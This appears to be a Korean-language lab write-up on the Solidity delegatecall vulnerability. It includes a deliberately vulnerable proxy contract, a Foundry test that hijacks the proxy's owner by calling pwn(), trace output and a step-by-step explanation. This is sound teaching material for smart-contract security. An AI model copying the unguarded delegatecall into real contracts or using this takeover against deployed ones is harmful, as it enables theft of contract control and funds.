Delegatecall
Source Code
import "forge-std/Test.sol";
// Proxy Contract is designed for helping users call logic contract
// Proxy Contract's owner is hardcoded as 0xdeadbeef
// Can you manipulate Proxy Contract's owner ?
contract Proxy {
address public owner = address(0xdeadbeef); // slot0
Delegate delegate;
constructor(address _delegateAddress) public {
delegate = Delegate(_delegateAddress);
}
fallback() external {
(bool suc,) = address(delegate).delegatecall(msg.data); // vulnerable
require(suc, "Delegatecall failed");
}
}
contract ContractTest is Test {
Proxy proxy;
Delegate DelegateContract;
address alice;
function setUp() public {
alice = vm.addr(1);
}
function testDelegatecall() public {
DelegateContract = new Delegate(); // logic contract
proxy = new Proxy(address(DelegateContract)); // proxy contract
console.log("Alice address", alice);
console.log("DelegationContract owner", proxy.owner());
// Delegatecall allows a smart contract to dynamically load code from a different address at runtime.
console.log("Change DelegationContract owner to Alice...");
vm.prank(alice);
address(proxy).call(abi.encodeWithSignature("pwn()")); // exploit here
// Proxy.fallback() will delegatecall Delegate.pwn()
console.log("DelegationContract owner", proxy.owner());
console.log("Exploit completed, proxy contract storage has been manipulated");
}
}
contract Delegate {
address public owner; // slot0
function pwn() public {
owner = msg.sender;
}
}
코드 test 결과이다.
DelegationContract의 owner가 Alice로 바뀌었다.
Trace를 분석해보자.
Delegate Contract address: 0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f
Proxy Contract address: 0x2e234DAe75C793f67A35089C9d99245E1C58470b
Alice address: 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf
Proxy의 owner는 0x00000000000000000000000000000000DeaDBeef
코드를 보면 address.delegatecall(msg.data); 이다. 그러면 msg.data는 delegatecall에서 들고올 함수를 넣어야 한다.
call 함수 flow를 보면 vm.prank(alice)로 msg.sender를 alice로 지정했다.
address(proxy).call(abi.encodeWithSignature("pwn()"))을 하면 Proxy의 fallback() 함수로 간다.
Proxy Contract에서 delegate Contract의 pwn()함수를 delegatecall하면 Proxy Contract에서 pwn()함수를 실행한다. 그러면 msg.sender를 변하지 않기 때문에 Proxy Contract에 있는 owner가 msg.sender 즉 alice가 된다.
함수의 흐름을 그림으로 나타내보았다.
Vulnerability
fallback() external {
(bool suc,) = address(delegate).delegatecall(msg.data); // vulnerable
require(suc, "Delegatecall failed");
}
exploit
address(proxy).call(abi.encodeWithSignature("pwn()")); // exploit here
// Proxy.fallback() will delegatecall Delegate.pwn()